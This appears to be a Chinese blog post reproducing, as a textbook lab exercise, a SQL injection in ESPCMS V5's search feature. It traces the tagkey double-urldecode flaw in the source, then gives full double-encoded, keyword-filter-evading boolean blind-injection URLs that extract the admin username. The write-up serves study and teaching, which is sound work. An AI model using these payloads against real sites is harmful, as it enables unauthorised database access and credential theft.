复现ESPCMS搜索注入漏洞(urldecode注入漏洞)
下载易思ESPCMS企业网站管理系统的V5 版本,根据安装说明,安装并配置ESPCMS
复现ESPCMS搜索注入漏洞
使用Seay源代码审计系统 找到漏洞
以《漏洞挖掘与防范》书本4.1.1.4为例
$tagkey变量是函数accept函数返回值 定位accept函数
打开文件找到函数
根据$var=R 传递的是$_REQUEST['tagkey']输入的值
$tagkey变量进行了urldecode解码则会导致二次解码生成单引号而引发注入我们提交/1.php?id=l%2527,因为提交的参数里面没有单引号,所以第一次解码后的结果是id=1%27,%25解码的结果是%
$tagkey的过滤函数 inputcodetrim()
可见只针对关键字进行过滤,即可以使用重写绕过函数
想对类中函数进行调用则需要实例化该类,即对该类名进行全局搜索
发现index.php 文件实例化该类 即在首页有触发漏洞
通过在可输入框随机输入
可控变量为ac at 在源代码中寻找
定位indexget()函数
由$k得到ac 或at $var=R 全文预览
$archive为被包含执行的文件名,$action用来指明该文件中调用的函数名,$mainlist->in_$action()调用该函数。我们通过现在可知/index.php页面是通过ac传参定位相应文件,调用其中at函数,若ac=search,at=taglist,则到search.php调用函数in_taglist(),再通过$tagkey变量传参,触发sql注入漏洞。
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527 构造payload
界面出错却没有显示出错内容,不能进行报错注入
对参数进行补全 然后urlencode二次编码
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=-1%2527%252ctags)%2b%2523
成功 但无报错信息 使用布尔盲注
用盲注查询username
length(username)=1 不成功 当等于5时
成功
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or did>1 and 97=ascii(seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)#
二次编码
http://127.0.0.1/espcms/index.php?ac=search&at=taglist&tagkey=1%2527%252ctags)%2bor%2bdid%253e1%2band%2b97%253dascii((seselectlect%2b%2bmid(username%252c1%252c1)%2bfrfromom%2bespcms_admin_member%2blimit%2b1))%2523
页面正常,因此username第1位即a.
同理,可以得出用户名为admin
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 我与微信审核的“相爱相杀”看个人小程序副业
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· spring官宣接入deepseek,真的太香了~